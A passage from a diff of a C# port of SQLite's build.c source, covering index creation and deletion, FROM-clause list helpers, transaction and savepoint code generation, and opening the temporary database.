i++ ) + { + Expr pExpr = pList.a[i].pExpr; + if ( pExpr != null ) + { + CollSeq pColl = pExpr.pColl; + /* Either pColl!=0 or there was an OOM failure. But if an OOM + ** failure we have quit before reaching this point. */ + if ( ALWAYS( pColl != null ) ) + { + nExtra += ( 1 + sqlite3Strlen30( pColl.zName ) ); + } + } + } + + /* + ** Allocate the index structure. + */ + nName = sqlite3Strlen30( zName ); + nCol = pList.nExpr; + pIndex = new Index(); + // sqlite3DbMallocZero( db, + // Index.Length + /* Index structure */ + // sizeof( int ) * nCol + /* Index.aiColumn */ + // sizeof( int ) * ( nCol + 1 ) + /* Index.aiRowEst */ + // sizeof( char* ) * nCol + /* Index.azColl */ + // u8.Length * nCol + /* Index.aSortOrder */ + // nName + 1 + /* Index.zName */ + // nExtra /* Collation sequence names */ + //); + //if ( db.mallocFailed != 0 ) + //{ + // goto exit_create_index; + //} + pIndex.azColl = new string[nCol + 1];//(char*)(pIndex[1]); + pIndex.aiColumn = new int[nCol + 1];//(int )(pIndex->azColl[nCol]); + pIndex.aiRowEst = new int[nCol + 1];//(unsigned )(pIndex->aiColumn[nCol]); + pIndex.aSortOrder = new byte[nCol + 1];//(u8 )(pIndex->aiRowEst[nCol+1]); + //pIndex.zName = null;// (char)( &pIndex->aSortOrder[nCol] ); + zExtra = new StringBuilder( nName + 1 );// (char)( &pIndex.zName[nName + 1] ); + if ( zName.Length == nName ) + pIndex.zName = zName; + else + { + pIndex.zName = zName.Substring( 0, nName ); + }// memcpy( pIndex.zName, zName, nName + 1 ); + pIndex.pTable = pTab; + pIndex.nColumn = pList.nExpr; + pIndex.onError = (u8)onError; + pIndex.autoIndex = (u8)( pName == null ? 1 : 0 ); + pIndex.pSchema = db.aDb[iDb].pSchema; + Debug.Assert( sqlite3SchemaMutexHeld( db, iDb, null ) ); + + /* Check to see if we should honor DESC requests on index columns + */ + if ( pDb.pSchema.file_format >= 4 ) + { + sortOrderMask = 1; /* Honor DESC */ + } + else + { + sortOrderMask = 0; /* Ignore DESC */ + } + + /* Scan the names of the columns of the table to be indexed and + ** load the column indices into the Index structure. Report an error + ** if any column is not found. + ** + ** TODO: Add a test to make sure that the same column is not named + ** more than once within the same index. Only the first instance of + ** the column will ever be used by the optimizer. Note that using the + ** same column more than once cannot be an error because that would + ** break backwards compatibility - it needs to be a warning. + */ + for ( i = 0; i < pList.nExpr; i++ ) + {//, pListItem++){ + pListItem = pList.a[i]; + string zColName = pListItem.zName; + Column pTabCol; + byte requestedSortOrder; + string zColl; /* Collation sequence name */ + + for ( j = 0; j < pTab.nCol; j++ ) + {//, pTabCol++){ + pTabCol = pTab.aCol[j]; + if ( zColName.Equals( pTabCol.zName, StringComparison.InvariantCultureIgnoreCase ) ) + break; + } + if ( j >= pTab.nCol ) + { + sqlite3ErrorMsg( pParse, "table %s has no column named %s", + pTab.zName, zColName ); + pParse.checkSchema = 1; + goto exit_create_index; + } + pIndex.aiColumn[i] = j; + /* Justification of the ALWAYS(pListItem->pExpr->pColl): Because of + ** the way the "idxlist" non-terminal is constructed by the parser, + ** if pListItem->pExpr is not null then either pListItem->pExpr->pColl + ** must exist or else there must have been an OOM error. But if there + ** was an OOM error, we would never reach this point. */ + if ( pListItem.pExpr != null && ALWAYS( pListItem.pExpr.pColl ) ) + { + int nColl; + zColl = pListItem.pExpr.pColl.zName; + nColl = sqlite3Strlen30( zColl ); + Debug.Assert( nExtra >= nColl ); + zExtra = new StringBuilder( zColl.Substring( 0, nColl ) );// memcpy( zExtra, zColl, nColl ); + zColl = zExtra.ToString(); + //zExtra += nColl; + nExtra -= nColl; + } + else + { + zColl = pTab.aCol[j].zColl; + if ( zColl == null ) + { + zColl = db.pDfltColl.zName; + } + } + if ( 0 == db.init.busy && sqlite3LocateCollSeq( pParse, zColl ) == null ) + { + goto exit_create_index; + } + pIndex.azColl[i] = zColl; + requestedSortOrder = (u8)( ( pListItem.sortOrder & sortOrderMask ) != 0 ? 1 : 0 ); + pIndex.aSortOrder[i] = (u8)requestedSortOrder; + } + sqlite3DefaultRowEst( pIndex ); + + if ( pTab == pParse.pNewTable ) + { + /* This routine has been called to create an automatic index as a + ** result of a PRIMARY KEY or UNIQUE clause on a column definition, or + ** a PRIMARY KEY or UNIQUE clause following the column definitions. + ** i.e. one of: + ** + ** CREATE TABLE t(x PRIMARY KEY, y); + ** CREATE TABLE t(x, y, UNIQUE(x, y)); + ** + ** Either way, check to see if the table already has such an index. If + ** so, don't bother creating this one. This only applies to + ** automatically created indices. Users can do as they wish with + ** explicit indices. + ** + ** Two UNIQUE or PRIMARY KEY constraints are considered equivalent + ** (and thus suppressing the second one) even if they have different + ** sort orders. + ** + ** If there are different collating sequences or if the columns of + ** the constraint occur in different orders, then the constraints are + ** considered distinct and both result in separate indices. + */ + Index pIdx; + for ( pIdx = pTab.pIndex; pIdx != null; pIdx = pIdx.pNext ) + { + int k; + Debug.Assert( pIdx.onError != OE_None ); + Debug.Assert( pIdx.autoIndex != 0 ); + Debug.Assert( pIndex.onError != OE_None ); + + if ( pIdx.nColumn != pIndex.nColumn ) + continue; + for ( k = 0; k < pIdx.nColumn; k++ ) + { + string z1; + string z2; + if ( pIdx.aiColumn[k] != pIndex.aiColumn[k] ) + break; + z1 = pIdx.azColl[k]; + z2 = pIndex.azColl[k]; + if ( z1 != z2 && !z1.Equals( z2, StringComparison.InvariantCultureIgnoreCase ) ) + break; + } + if ( k == pIdx.nColumn ) + { + if ( pIdx.onError != pIndex.onError ) + { + /* This constraint creates the same index as a previous + ** constraint specified somewhere in the CREATE TABLE statement. + ** However the ON CONFLICT clauses are different. If both this + ** constraint and the previous equivalent constraint have explicit + ** ON CONFLICT clauses this is an error. Otherwise, use the + ** explicitly specified behavior for the index. + */ + if ( !( pIdx.onError == OE_Default || pIndex.onError == OE_Default ) ) + { + sqlite3ErrorMsg( pParse, + "conflicting ON CONFLICT clauses specified", 0 ); + } + if ( pIdx.onError == OE_Default ) + { + pIdx.onError = pIndex.onError; + } + } + goto exit_create_index; + } + } + } + + /* Link the new Index structure to its table and to the other + ** in-memory database structures. + */ + if ( db.init.busy != 0 ) + { + Index p; + Debug.Assert( sqlite3SchemaMutexHeld( db, 0, pIndex.pSchema ) ); + p = sqlite3HashInsert( ref pIndex.pSchema.idxHash, + pIndex.zName, sqlite3Strlen30( pIndex.zName ), + pIndex ); + if ( p != null ) + { + Debug.Assert( p == pIndex ); /* Malloc must have failed */ + // db.mallocFailed = 1; + goto exit_create_index; + } + db.flags |= SQLITE_InternChanges; + if ( pTblName != null ) + { + pIndex.tnum = db.init.newTnum; + } + } + + /* If the db.init.busy is 0 then create the index on disk. This + ** involves writing the index into the master table and filling in the + ** index with the current table contents. + ** + ** The db.init.busy is 0 when the user first enters a CREATE INDEX + ** command. db.init.busy is 1 when a database is opened and + ** CREATE INDEX statements are read out of the master table. In + ** the latter case the index already exists on disk, which is why + ** we don't want to recreate it. + ** + ** If pTblName==0 it means this index is generated as a primary key + ** or UNIQUE constraint of a CREATE TABLE statement. Since the table + ** has just been created, it contains no data and the index initialization + ** step can be skipped. + */ + else //if ( 0 == db.init.busy ) + { + Vdbe v; + string zStmt; + int iMem = ++pParse.nMem; + + v = sqlite3GetVdbe( pParse ); + if ( v == null ) + goto exit_create_index; + + + /* Create the rootpage for the index + */ + sqlite3BeginWriteOperation( pParse, 1, iDb ); + sqlite3VdbeAddOp2( v, OP_CreateIndex, iDb, iMem ); + + /* Gather the complete text of the CREATE INDEX statement into + ** the zStmt variable + */ + if ( pStart != null ) + { + Debug.Assert( pEnd != null ); + /* A named index with an explicit CREATE INDEX statement */ + zStmt = sqlite3MPrintf( db, "CREATE%s INDEX %.*s", + onError == OE_None ? "" : " UNIQUE", + (int)(pName.z.Length - pEnd.z.Length) + 1, + pName.z ); + } + else + { + /* An automatic index created by a PRIMARY KEY or UNIQUE constraint */ + /* zStmt = sqlite3MPrintf(""); */ + zStmt = null; + } + + /* Add an entry in sqlite_master for this index + */ + sqlite3NestedParse( pParse, + "INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);", + db.aDb[iDb].zName, SCHEMA_TABLE( iDb ), + pIndex.zName, + pTab.zName, + iMem, + zStmt + ); + sqlite3DbFree( db, ref zStmt ); + + /* Fill the index with data and reparse the schema. Code an OP_Expire + ** to invalidate all pre-compiled statements. + */ + if ( pTblName != null ) + { + sqlite3RefillIndex( pParse, pIndex, iMem ); + sqlite3ChangeCookie( pParse, iDb ); + sqlite3VdbeAddParseSchemaOp( v, iDb, + sqlite3MPrintf( db, "name='%q' AND type='index'", pIndex.zName ) ); + sqlite3VdbeAddOp1( v, OP_Expire, 0 ); + } + } + + /* When adding an index to the list of indices for a table, make + ** sure all indices labeled OE_Replace come after all those labeled + ** OE_Ignore. This is necessary for the correct constraint check + ** processing (in sqlite3GenerateConstraintChecks()) as part of + ** UPDATE and INSERT statements. + */ + if ( db.init.busy != 0 || pTblName == null ) + { + if ( onError != OE_Replace || pTab.pIndex == null + || pTab.pIndex.onError == OE_Replace ) + { + pIndex.pNext = pTab.pIndex; + pTab.pIndex = pIndex; + } + else + { + Index pOther = pTab.pIndex; + while ( pOther.pNext != null && pOther.pNext.onError != OE_Replace ) + { + pOther = pOther.pNext; + } + pIndex.pNext = pOther.pNext; + pOther.pNext = pIndex; + } + pRet = pIndex; + pIndex = null; + } + + /* Clean up before exiting */ +exit_create_index: + if ( pIndex != null ) + { + //sqlite3DbFree(db, ref pIndex.zColAff ); + sqlite3DbFree( db, ref pIndex ); + } + sqlite3ExprListDelete( db, ref pList ); + sqlite3SrcListDelete( db, ref pTblName ); + sqlite3DbFree( db, ref zName ); + return pRet; + } + + /* + ** Fill the Index.aiRowEst[] array with default information - information + ** to be used when we have not run the ANALYZE command. + ** + ** aiRowEst[0] is suppose to contain the number of elements in the index. + ** Since we do not know, guess 1 million. aiRowEst[1] is an estimate of the + ** number of rows in the table that match any particular value of the + ** first column of the index. aiRowEst[2] is an estimate of the number + ** of rows that match any particular combiniation of the first 2 columns + ** of the index. And so forth. It must always be the case that + * + ** aiRowEst[N]<=aiRowEst[N-1] + ** aiRowEst[N]>=1 + ** + ** Apart from that, we have little to go on besides intuition as to + ** how aiRowEst[] should be initialized. The numbers generated here + ** are based on typical values found in actual indices. + */ + static void sqlite3DefaultRowEst( Index pIdx ) + { + int[] a = pIdx.aiRowEst; + int i; + int n; + Debug.Assert( a != null ); + a[0] = (int)pIdx.pTable.nRowEst; + if ( a[0] < 10 ) + a[0] = 10; + n = 10; + for ( i = 1; i <= pIdx.nColumn; i++ ) + { + a[i] = n; + if ( n > 5 ) + n--; + } + if ( pIdx.onError != OE_None ) + { + a[pIdx.nColumn] = 1; + } + } + + /* + ** This routine will drop an existing named index. This routine + ** implements the DROP INDEX statement. + */ + static void sqlite3DropIndex( Parse pParse, SrcList pName, int ifExists ) + { + Index pIndex; + Vdbe v; + sqlite3 db = pParse.db; + int iDb; + + Debug.Assert( pParse.nErr == 0 ); /* Never called with prior errors */ + //if ( db.mallocFailed != 0 ) + //{ + // goto exit_drop_index; + //} + Debug.Assert( pName.nSrc == 1 ); + if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) + { + goto exit_drop_index; + } + pIndex = sqlite3FindIndex( db, pName.a[0].zName, pName.a[0].zDatabase ); + if ( pIndex == null ) + { + if ( ifExists == 0 ) + { + sqlite3ErrorMsg( pParse, "no such index: %S", pName, 0 ); + } + else + { + sqlite3CodeVerifyNamedSchema( pParse, pName.a[0].zDatabase ); + } + pParse.checkSchema = 1; + goto exit_drop_index; + } + if ( pIndex.autoIndex != 0 ) + { + sqlite3ErrorMsg( pParse, "index associated with UNIQUE " + + "or PRIMARY KEY constraint cannot be dropped", 0 ); + goto exit_drop_index; + } + iDb = sqlite3SchemaToIndex( db, pIndex.pSchema ); +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +{ +int code = SQLITE_DROP_INDEX; +Table pTab = pIndex.pTable; +string zDb = db.aDb[iDb].zName; +string zTab = SCHEMA_TABLE(iDb); +if( sqlite3AuthCheck(pParse, SQLITE_DELETE, zTab, 0, zDb) ){ +goto exit_drop_index; +} +if( OMIT_TEMPDB ==0&& iDb ) code = SQLITE_DROP_TEMP_INDEX; +if( sqlite3AuthCheck(pParse, code, pIndex.zName, pTab.zName, zDb) ){ +goto exit_drop_index; +} +} +#endif + + /* Generate code to remove the index and from the master table */ + v = sqlite3GetVdbe( pParse ); + if ( v != null ) + { + sqlite3BeginWriteOperation( pParse, 1, iDb ); + sqlite3NestedParse( pParse, + "DELETE FROM %Q.%s WHERE name=%Q AND type='index'", + db.aDb[iDb].zName, SCHEMA_TABLE( iDb ), + pIndex.zName + ); + if ( sqlite3FindTable( db, "sqlite_stat1", db.aDb[iDb].zName ) != null ) + { + sqlite3NestedParse( pParse, + "DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q", + db.aDb[iDb].zName, pIndex.zName + ); + } + sqlite3ChangeCookie( pParse, iDb ); + destroyRootPage( pParse, pIndex.tnum, iDb ); + sqlite3VdbeAddOp4( v, OP_DropIndex, iDb, 0, 0, pIndex.zName, 0 ); + } + +exit_drop_index: + sqlite3SrcListDelete( db, ref pName ); + } + + /* + ** pArray is a pointer to an array of objects. Each object in the + ** array is szEntry bytes in size. This routine allocates a new + ** object on the end of the array. + ** + ** pnEntry is the number of entries already in use. pnAlloc is + ** the previously allocated size of the array. initSize is the + ** suggested initial array size allocation. + ** + ** The index of the new entry is returned in pIdx. + ** + ** This routine returns a pointer to the array of objects. This + ** might be the same as the pArray parameter or it might be a different + ** pointer if the array was resized. + */ + static T[] sqlite3ArrayAllocate( + sqlite3 db, /* Connection to notify of malloc failures */ + T[] pArray, /* Array of objects. Might be reallocated */ + int szEntry, /* Size of each object in the array */ + int initSize, /* Suggested initial allocation, in elements */ + ref int pnEntry, /* Number of objects currently in use */ + ref int pnAlloc, /* Current size of the allocation, in elements */ + ref int pIdx /* Write the index of a new slot here */ + ) where T : new() + { + //char* z; + if ( pnEntry >= pnAlloc ) + { + //void* pNew; + int newSize; + newSize = ( pnAlloc ) * 2 + initSize; + //pNew = sqlite3DbRealloc(db, pArray, newSize * szEntry); + //if (pNew == 0) + //{ + // pIdx = -1; + // return pArray; + //} + pnAlloc = newSize; //sqlite3DbMallocSize(db, pNew)/szEntry; + //pArray = pNew; + Array.Resize( ref pArray, newSize ); + } + pArray[pnEntry] = new T(); + //z = (char)pArray; + //memset(z[*pnEntry * szEntry], 0, szEntry); + pIdx = pnEntry; + ++pnEntry; + return pArray; + } + + /* + ** Append a new element to the given IdList. Create a new IdList if + ** need be. + ** + ** A new IdList is returned, or NULL if malloc() fails. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static IdList sqlite3IdListAppend( sqlite3 db, int null_2, Token pToken ) + { + return sqlite3IdListAppend( db, null, pToken ); + } + static IdList sqlite3IdListAppend( sqlite3 db, IdList pList, Token pToken ) + { + int i = 0; + if ( pList == null ) + { + pList = new IdList();//sqlite3DbMallocZero(db, sizeof(IdList)); + if ( pList == null ) + return null; + pList.nAlloc = 0; + } + pList.a = (IdList_item[])sqlite3ArrayAllocate( + db, + pList.a, + -1,//sizeof(pList.a[0]), + 5, + ref pList.nId, + ref pList.nAlloc, + ref i + ); + if ( i < 0 ) + { + sqlite3IdListDelete( db, ref pList ); + return null; + } + pList.a[i].zName = sqlite3NameFromToken( db, pToken ); + return pList; + } + + /* + ** Delete an IdList. + */ + static void sqlite3IdListDelete( sqlite3 db, ref IdList pList ) + { + int i; + if ( pList == null ) + return; + for ( i = 0; i < pList.nId; i++ ) + { + sqlite3DbFree( db, ref pList.a[i].zName ); + } + sqlite3DbFree( db, ref pList.a ); + sqlite3DbFree( db, ref pList ); + } + + /* + ** Return the index in pList of the identifier named zId. Return -1 + ** if not found. + */ + static int sqlite3IdListIndex( IdList pList, string zName ) + { + int i; + if ( pList == null ) + return -1; + for ( i = 0; i < pList.nId; i++ ) + { + if ( pList.a[i].zName.Equals( zName, StringComparison.InvariantCultureIgnoreCase ) ) + return i; + } + return -1; + } + + /* + ** Expand the space allocated for the given SrcList object by + ** creating nExtra new slots beginning at iStart. iStart is zero based. + ** New slots are zeroed. + ** + ** For example, suppose a SrcList initially contains two entries: A,B. + ** To append 3 new entries onto the end, do this: + ** + ** sqlite3SrcListEnlarge(db, pSrclist, 3, 2); + ** + ** After the call above it would contain: A, B, nil, nil, nil. + ** If the iStart argument had been 1 instead of 2, then the result + ** would have been: A, nil, nil, nil, B. To prepend the new slots, + ** the iStart value would be 0. The result then would + ** be: nil, nil, nil, A, B. + ** + ** If a memory allocation fails the SrcList is unchanged. The + ** db.mallocFailed flag will be set to true. + */ + static SrcList sqlite3SrcListEnlarge( + sqlite3 db, /* Database connection to notify of OOM errors */ + SrcList pSrc, /* The SrcList to be enlarged */ + int nExtra, /* Number of new slots to add to pSrc.a[] */ + int iStart /* Index in pSrc.a[] of first new slot */ + ) + { + int i; + + /* Sanity checking on calling parameters */ + Debug.Assert( iStart >= 0 ); + Debug.Assert( nExtra >= 1 ); + Debug.Assert( pSrc != null ); + Debug.Assert( iStart <= pSrc.nSrc ); + + /* Allocate additional space if needed */ + if ( pSrc.nSrc + nExtra > pSrc.nAlloc ) + { + int nAlloc = pSrc.nSrc + nExtra; + int nGot; + // sqlite3DbRealloc(db, pSrc, + // sizeof(*pSrc) + (nAlloc-1)*sizeof(pSrc.a[0]) ); + pSrc.nAlloc = (i16)nAlloc; + Array.Resize( ref pSrc.a, nAlloc ); + // nGot = (sqlite3DbMallocSize(db, pNew) - sizeof(*pSrc))/sizeof(pSrc->a[0])+1; + //pSrc->nAlloc = (u16)nGot; + } + + /* Move existing slots that come after the newly inserted slots + ** out of the way */ + for ( i = pSrc.nSrc - 1; i >= iStart; i-- ) + { + pSrc.a[i + nExtra] = pSrc.a[i]; + } + pSrc.nSrc += (i16)nExtra; + + /* Zero the newly allocated slots */ + //memset(&pSrc.a[iStart], 0, sizeof(pSrc.a[0])*nExtra); + for ( i = iStart; i < iStart + nExtra; i++ ) + { + pSrc.a[i] = new SrcList_item(); + pSrc.a[i].iCursor = -1; + } + + /* Return a pointer to the enlarged SrcList */ + return pSrc; + } + + + /* + ** Append a new table name to the given SrcList. Create a new SrcList if + ** need be. A new entry is created in the SrcList even if pTable is NULL. + ** + ** A SrcList is returned, or NULL if there is an OOM error. The returned + ** SrcList might be the same as the SrcList that was input or it might be + ** a new one. If an OOM error does occurs, then the prior value of pList + ** that is input to this routine is automatically freed. + ** + ** If pDatabase is not null, it means that the table has an optional + ** database name prefix. Like this: "database.table". The pDatabase + ** points to the table name and the pTable points to the database name. + ** The SrcList.a[].zName field is filled with the table name which might + ** come from pTable (if pDatabase is NULL) or from pDatabase. + ** SrcList.a[].zDatabase is filled with the database name from pTable, + ** or with NULL if no database is specified. + ** + ** In other words, if call like this: + ** + ** sqlite3SrcListAppend(D,A,B,0); + ** + ** Then B is a table name and the database name is unspecified. If called + ** like this: + ** + ** sqlite3SrcListAppend(D,A,B,C); + ** + ** Then C is the table name and B is the database name. If C is defined + ** then so is B. In other words, we never have a case where: + ** + ** sqlite3SrcListAppend(D,A,0,C); + ** + ** Both pTable and pDatabase are assumed to be quoted. They are dequoted + ** before being added to the SrcList. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static SrcList sqlite3SrcListAppend( sqlite3 db, int null_2, Token pTable, int null_4 ) + { + return sqlite3SrcListAppend( db, null, pTable, null ); + } + static SrcList sqlite3SrcListAppend( sqlite3 db, int null_2, Token pTable, Token pDatabase ) + { + return sqlite3SrcListAppend( db, null, pTable, pDatabase ); + } + static SrcList sqlite3SrcListAppend( + sqlite3 db, /* Connection to notify of malloc failures */ + SrcList pList, /* Append to this SrcList. NULL creates a new SrcList */ + Token pTable, /* Table to append */ + Token pDatabase /* Database of the table */ + ) + { + SrcList_item pItem; + Debug.Assert( pDatabase == null || pTable != null ); /* Cannot have C without B */ + if ( pList == null ) + { + pList = new SrcList();//sqlite3DbMallocZero(db, SrcList.Length ); + //if ( pList == null ) return null; + pList.nAlloc = 1; + pList.a = new SrcList_item[1]; + } + pList = sqlite3SrcListEnlarge( db, pList, 1, pList.nSrc ); + //if ( db.mallocFailed != 0 ) + //{ + // sqlite3SrcListDelete( db, ref pList ); + // return null; + //} + pItem = pList.a[pList.nSrc - 1]; + if ( pDatabase != null && String.IsNullOrEmpty( pDatabase.z ) ) + { + pDatabase = null; + } + if ( pDatabase != null ) + { + Token pTemp = pDatabase; + pDatabase = pTable; + pTable = pTemp; + } + pItem.zName = sqlite3NameFromToken( db, pTable ); + pItem.zDatabase = sqlite3NameFromToken( db, pDatabase ); + return pList; + } + + /* + ** Assign VdbeCursor index numbers to all tables in a SrcList + */ + static void sqlite3SrcListAssignCursors( Parse pParse, SrcList pList ) + { + int i; + SrcList_item pItem; + Debug.Assert( pList != null /* || pParse.db.mallocFailed != 0 */ ); + if ( pList != null ) + { + for ( i = 0; i < pList.nSrc; i++ ) + { + pItem = pList.a[i]; + if ( pItem.iCursor >= 0 ) + break; + pItem.iCursor = pParse.nTab++; + if ( pItem.pSelect != null ) + { + sqlite3SrcListAssignCursors( pParse, pItem.pSelect.pSrc ); + } + } + } + } + + /* + ** Delete an entire SrcList including all its substructure. + */ + static void sqlite3SrcListDelete( sqlite3 db, ref SrcList pList ) + { + int i; + SrcList_item pItem; + if ( pList == null ) + return; + for ( i = 0; i < pList.nSrc; i++ ) + {//, pItem++){ + pItem = pList.a[i]; + sqlite3DbFree( db, ref pItem.zDatabase ); + sqlite3DbFree( db, ref pItem.zName ); + sqlite3DbFree( db, ref pItem.zAlias ); + sqlite3DbFree( db, ref pItem.zIndex ); + sqlite3DeleteTable( db, ref pItem.pTab ); + sqlite3SelectDelete( db, ref pItem.pSelect ); + sqlite3ExprDelete( db, ref pItem.pOn ); + sqlite3IdListDelete( db, ref pItem.pUsing ); + } + sqlite3DbFree( db, ref pList ); + } + + /* + ** This routine is called by the parser to add a new term to the + ** end of a growing FROM clause. The "p" parameter is the part of + ** the FROM clause that has already been constructed. "p" is NULL + ** if this is the first term of the FROM clause. pTable and pDatabase + ** are the name of the table and database named in the FROM clause term. + ** pDatabase is NULL if the database name qualifier is missing - the + ** usual case. If the term has a alias, then pAlias points to the + ** alias token. If the term is a subquery, then pSubquery is the + ** SELECT statement that the subquery encodes. The pTable and + ** pDatabase parameters are NULL for subqueries. The pOn and pUsing + ** parameters are the content of the ON and USING clauses. + ** + ** Return a new SrcList which encodes is the FROM with the new + ** term added. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static SrcList sqlite3SrcListAppendFromTerm( Parse pParse, SrcList p, int null_3, int null_4, Token pAlias, Select pSubquery, Expr pOn, IdList pUsing ) + { + return sqlite3SrcListAppendFromTerm( pParse, p, null, null, pAlias, pSubquery, pOn, pUsing ); + } + static SrcList sqlite3SrcListAppendFromTerm( Parse pParse, SrcList p, Token pTable, Token pDatabase, Token pAlias, int null_6, Expr pOn, IdList pUsing ) + { + return sqlite3SrcListAppendFromTerm( pParse, p, pTable, pDatabase, pAlias, null, pOn, pUsing ); + } + static SrcList sqlite3SrcListAppendFromTerm( + Parse pParse, /* Parsing context */ + SrcList p, /* The left part of the FROM clause already seen */ + Token pTable, /* Name of the table to add to the FROM clause */ + Token pDatabase, /* Name of the database containing pTable */ + Token pAlias, /* The right-hand side of the AS subexpression */ + Select pSubquery, /* A subquery used in place of a table name */ + Expr pOn, /* The ON clause of a join */ + IdList pUsing /* The USING clause of a join */ + ) + { + SrcList_item pItem; + sqlite3 db = pParse.db; + if ( null == p && ( pOn != null || pUsing != null ) ) + { + sqlite3ErrorMsg( pParse, "a JOIN clause is required before %s", + ( pOn != null ? "ON" : "USING" ) + ); + goto append_from_error; + } + p = sqlite3SrcListAppend( db, p, pTable, pDatabase ); + //if ( p == null || NEVER( p.nSrc == 0 ) ) + //{ + // goto append_from_error; + //} + pItem = p.a[p.nSrc - 1]; + Debug.Assert( pAlias != null ); + if ( pAlias.n != 0 ) + { + pItem.zAlias = sqlite3NameFromToken( db, pAlias ); + } + pItem.pSelect = pSubquery; + pItem.pOn = pOn; + pItem.pUsing = pUsing; + return p; +append_from_error: + Debug.Assert( p == null ); + sqlite3ExprDelete( db, ref pOn ); + sqlite3IdListDelete( db, ref pUsing ); + sqlite3SelectDelete( db, ref pSubquery ); + return null; + } + + /* + ** Add an INDEXED BY or NOT INDEXED clause to the most recently added + ** element of the source-list passed as the second argument. + */ + static void sqlite3SrcListIndexedBy( Parse pParse, SrcList p, Token pIndexedBy ) + { + Debug.Assert( pIndexedBy != null ); + if ( p != null && ALWAYS( p.nSrc > 0 ) ) + { + SrcList_item pItem = p.a[p.nSrc - 1]; + Debug.Assert( 0 == pItem.notIndexed && pItem.zIndex == null ); + if ( pIndexedBy.n == 1 && null == pIndexedBy.z ) + { + /* A "NOT INDEXED" clause was supplied. See parse.y + ** construct "indexed_opt" for details. */ + pItem.notIndexed = 1; + } + else + { + pItem.zIndex = sqlite3NameFromToken( pParse.db, pIndexedBy ); + } + } + } + + /* + ** When building up a FROM clause in the parser, the join operator + ** is initially attached to the left operand. But the code generator + ** expects the join operator to be on the right operand. This routine + ** Shifts all join operators from left to right for an entire FROM + ** clause. + ** + ** Example: Suppose the join is like this: + ** + ** A natural cross join B + ** + ** The operator is "natural cross join". The A and B operands are stored + ** in p.a[0] and p.a[1], respectively. The parser initially stores the + ** operator with A. This routine shifts that operator over to B. + */ + static void sqlite3SrcListShiftJoinType( SrcList p ) + { + if ( p != null && p.a != null ) + { + int i; + for ( i = p.nSrc - 1; i > 0; i-- ) + { + p.a[i].jointype = p.a[i - 1].jointype; + } + p.a[0].jointype = 0; + } + } + + /* + ** Begin a transaction + */ + static void sqlite3BeginTransaction( Parse pParse, int type ) + { + sqlite3 db; + Vdbe v; + int i; + + Debug.Assert( pParse != null ); + db = pParse.db; + Debug.Assert( db != null ); + /* if( db.aDb[0].pBt==0 ) return; */ + if ( sqlite3AuthCheck( pParse, SQLITE_TRANSACTION, "BEGIN", null, null ) != 0 ) + { + return; + } + v = sqlite3GetVdbe( pParse ); + if ( v == null ) + return; + if ( type != TK_DEFERRED ) + { + for ( i = 0; i < db.nDb; i++ ) + { + sqlite3VdbeAddOp2( v, OP_Transaction, i, ( type == TK_EXCLUSIVE ) ? 2 : 1 ); + sqlite3VdbeUsesBtree( v, i ); + } + } + sqlite3VdbeAddOp2( v, OP_AutoCommit, 0, 0 ); + } + + /* + ** Commit a transaction + */ + static void sqlite3CommitTransaction( Parse pParse ) + { + sqlite3 db; + Vdbe v; + + Debug.Assert( pParse != null ); + db = pParse.db; + Debug.Assert( db != null ); + /* if( db.aDb[0].pBt==0 ) return; */ + if ( sqlite3AuthCheck( pParse, SQLITE_TRANSACTION, "COMMIT", null, null ) != 0 ) + { + return; + } + v = sqlite3GetVdbe( pParse ); + if ( v != null ) + { + sqlite3VdbeAddOp2( v, OP_AutoCommit, 1, 0 ); + } + } + + /* + ** Rollback a transaction + */ + static void sqlite3RollbackTransaction( Parse pParse ) + { + sqlite3 db; + Vdbe v; + + Debug.Assert( pParse != null ); + db = pParse.db; + Debug.Assert( db != null ); + /* if( db.aDb[0].pBt==0 ) return; */ + if ( sqlite3AuthCheck( pParse, SQLITE_TRANSACTION, "ROLLBACK", null, null ) != 0 ) + { + return; + } + v = sqlite3GetVdbe( pParse ); + if ( v != null ) + { + sqlite3VdbeAddOp2( v, OP_AutoCommit, 1, 1 ); + } + } + + /* + ** This function is called by the parser when it parses a command to create, + ** release or rollback an SQL savepoint. + */ +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +const string[] az = { "BEGIN", "RELEASE", "ROLLBACK" }; +#endif + static void sqlite3Savepoint( Parse pParse, int op, Token pName ) + { + string zName = sqlite3NameFromToken( pParse.db, pName ); + if ( zName != null ) + { + Vdbe v = sqlite3GetVdbe( pParse ); +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +Debug.Assert( !SAVEPOINT_BEGIN && SAVEPOINT_RELEASE==1 && SAVEPOINT_ROLLBACK==2 ); +#endif + if ( null == v +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +|| sqlite3AuthCheck(pParse, SQLITE_SAVEPOINT, az[op], zName, 0) +#endif + ) + { + sqlite3DbFree( pParse.db, ref zName ); + return; + } + sqlite3VdbeAddOp4( v, OP_Savepoint, op, 0, 0, zName, P4_DYNAMIC ); + } + } + + /* + ** Make sure the TEMP database is open and available for use. Return + ** the number of errors. Leave any error messages in the pParse structure. + */ + static int sqlite3OpenTempDatabase( Parse pParse ) + { + sqlite3 db = pParse.db; + if ( db.aDb[1].pBt == null && pParse.explain == 0 ) + { + int rc; + Btree pBt = null; + const int flags = + SQLITE_OPEN_READWRITE | + SQLITE_OPEN_CREATE | + SQLITE_OPEN_EXCLUSIVE | + SQLITE_OPEN_DELETEONCLOSE | + SQLITE_OPEN_TEMP_DB; + + rc = sqlite3BtreeOpen(db.pVfs, null, db, ref pBt, 0, flags ); + if ( rc != SQLITE_OK ) + { + sqlite3ErrorMsg( pParse, "unable to open a temporary database " + + "file for storing temporary tables" ); + pParse.rc = rc; + return 1; + } + db.aDb[1].pBt = pBt; + Debug.Assert( db.aDb[1].pSchema != null ); + if ( SQLITE_NOMEM == sqlite3BtreeSetPageSize( pBt, db.nextPagesize, -1, 0 ) ) + { + // db.mallocFailed = 1; + } + } + return 0; + } + + /* + ** Generate VDBE code that will verify the schema cookie and start + ** a read-transaction for all named database files. + 